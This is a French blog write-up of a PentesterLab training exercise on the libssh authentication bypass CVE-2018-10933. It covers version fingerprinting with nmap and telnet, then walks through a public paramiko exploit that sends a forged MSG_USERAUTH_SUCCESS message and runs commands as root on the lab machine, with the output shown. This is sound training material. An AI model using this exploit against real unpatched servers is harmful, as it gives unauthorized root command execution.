Hacker Lab: P1. Libssh auth bypass

Je commence une série d'articles sur l' analyse du service pentesterlab . Malheureusement, je n'ai pas de version Pro du cours, je ne suis donc limité qu'à la liste des tâches gratuites. Chaque cas est un système contenant une vulnérabilité qui doit être exploitée pour atteindre un objectif spécifique.


Libssh auth bypass


Le cas comprend un hôte (machine virtuelle) avec le service SSH en cours d'exécution. Le défi consiste à prendre le contrôle de la machine via le contournement de l'authentification SSH. Imaginez que nous ne savons pas quelle implémentation SSH particulière se trouve sur le serveur et quelle vulnérabilité nous devons exploiter.

Comment le découvrir? La première chose qui me vient à l'esprit est d'utiliser le scanner réseau nmap avec l'option -sV:

~$ nmap 192.168.0.89 -p 22 -sV Nmap scan report for 192.168.0.89 Host is up (0.00100s latency). PORT STATE SERVICE VERSION 22/tcp open ssh (protocol 2.0) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port22-TCP:V=7.60%I=7%D=3/2%Time=5C7A9190%P=x86_64-pc-linux-gnu%r(NULL, SF:16,"SSH-2\.0-libssh_0\.8\.3\r\n"); 

Dans le rapport, nmap rapporte que le service lui est inconnu. Mais après avoir regardé l'empreinte digitale du service, nous pouvons voir la ligne d'identification du serveur, à partir de laquelle il est évident que le port écoute sur LibSSH version 0.8.3.
Tranché de RFC-4253:
Immédiatement après l'établissement de la connexion, le client et le serveur échangent des messages du formulaire:

Commentaires SSH-protoversion-softwareversion

Le champ de protoversion indique la version du protocole. Étant donné que la deuxième version de SSH est actuellement pertinente, le champ doit contenir la valeur «2.0». Le champ softwareversion contient le nom et la version de l'implémentation du protocole utilisé principalement pour lancer les extensions, la compatibilité et une indication des capacités d'implémentation. Le champ des commentaires est facultatif; il indique des informations supplémentaires qui peuvent aider à résoudre les problèmes des utilisateurs.
De même, nous pourrions obtenir cette ligne en utilisant l'utilitaire telnet:

 $ telnet 192.168.0.89 22 Trying 192.168.0.89... Connected to 192.168.0.89. Escape character is '^]'. SSH-2.0-libssh_0.8.3 Bye ByeConnection closed by foreign host. 

Ou passez par WireShark:

image

Les recherches Google nous conduisent à la vulnérabilité CVE-2018-10933, qui affecte les versions de LibSSH de 0.7.6 à 0.8.4. Pour le comprendre, je parlerai brièvement de l'authentification client à l'aide de SSH. Une fois la connexion établie, le client et le serveur se mettent d'accord sur un secret appelé clé de session , qui sera utilisé pour le chiffrement pendant la session. De plus, l'authentification peut être divisée en plusieurs étapes, qui sont chiffrées:

  1. Le client envoie au serveur un message SSH_MSG_USERAUTH_REQUEST contenant le nom d'utilisateur, le nom de la méthode d'authentification et des champs supplémentaires. Le serveur peut accepter la demande ou la rejeter avec un message avec le code SSH_MSG_USERAUTH_FAILURE, si la méthode d'authentification proposée n'est pas prise en charge.
  2. La deuxième étape dépend directement de la méthode d'authentification. Dans le cas de l'authentification par mot de passe, le client envoie le mot de passe à la première étape, puis attend la confirmation du serveur. En authentification avec des clés publiques, la clé publique et la signature sont envoyées avec la clé privée. Le serveur vérifie s'il a un tel utilisateur, avec une telle clé publique, et si la clé publique de la signature correspond ... Il existe toujours une méthode d'authentification par hôte, mais elle est rarement utilisée, toutes les méthodes d'authentification peuvent être lues en détail dans RFC-4252 ( russe , anglais )
  3. Dans la troisième étape, le client attend l'authentification du serveur. Le serveur envoie un message avec le code SSH_MSG_USERAUTH_SUCSESS s'il accepte l'authentification ou SSH_MSG_USERAUTH_FAILURE s'il refuse.

Il y a un bogue dans la section de code chargé de vérifier le code du message qui permet au serveur de recevoir le message SSH_MSG_USERAUTH_SUCSESS. L'utilisation de cet espace peut contourner le processus d'authentification.

GitHUb a de nombreux exploits prêts à l'emploi pour cette vulnérabilité, nous ne réinventerons donc pas la roue et considérerons celle- ci (je remercie l'auteur du script).

Le script est écrit en python en utilisant le module paramiko - Python (2.7, 3.4+) du protocole SSHv2, qui fournit les fonctionnalités du client et du serveur. Analysons les sections de code qui nous intéressent:

 sock = socket.socket() sock.connect((host,int(port))) 

Cette ligne crée un socket et se connecte au serveur. Qu'est-ce qu'une prise est très bien décrit ici .

 message = paramiko.message.Message() 

Cette classe de message est SSH2. Il s'agit d'un ensemble de numéros de ligne et de variables de type bool, collectés dans un flux d'octets.

 transport = paramiko.transport.Transport(sock) transport.start_client() 

Cette classe est un moyen d'interagir avec le protocole SSH. Nous le créons et nous nous connectons immédiatement en mode client.

 message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) transport._send_message(message) 

Le paramètre paramiko.common.cMSG_USERAUTH_SUCCESS est le nombre 52, placé dans un octet. Il s'agit du code de message MSG_USERAUTH_SUCCESS. Nous envoyons ce message au serveur.

 cmd = transport.open_session() cmd.exec_command(command) 

Nous créons un nouveau canal et envoyons immédiatement la commande, écrite sous forme de chaîne dans la commande.

 out=cmd.makefile("rb",222048) output=out.read() out.close() print (output) 

La méthode makefile crée un wrapper de fichier autour du tuyau. "Rb" - mode d'accès aux octets de lecture, 222048 - taille du tampon. Out obtient le résultat de la commande que nous avons envoyée, que nous imprimons via print (). Avec out.close (), nous mettons fin à la connexion.

Il reste à exécuter ce script, en indiquant l'adresse IP de la machine virtuelle précédemment téléchargée et en cours d'exécution, et la commande que nous voulons exécuter sur notre victime. J'ai essayé de spécifier différentes commandes, et voici le résultat:

 #   ,     $ ./LibAuth.py --host 192.168.0.89 -c whoami b'root\n' #   $ ./LibAuth.py --host 192.168.0.89 -c date b'Wed Mar 6 22:50:00 UTC 2019\n' #  $ ./LibAuth.py --host 192.168.0.89 -c env b'USER=pentesterlab\nSHLVL=5\nHOME=/\nuser=pentesterlab\nTERM=linux\nBOOT_IMAGE=/boot/vmlinuz\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/bin:/usr/bin\nLANG=C\nSHELL=/bin/sh\ninitrd=/boot/initrd.img\nPWD=/\n' 

La conclusion du résultat est un peu maladroite, si nécessaire, vous pouvez y remédier. Mais en général - la tâche peut être considérée comme terminée.

À suivre ...

Source: https://habr.com/ru/post/fr438434/


All Articles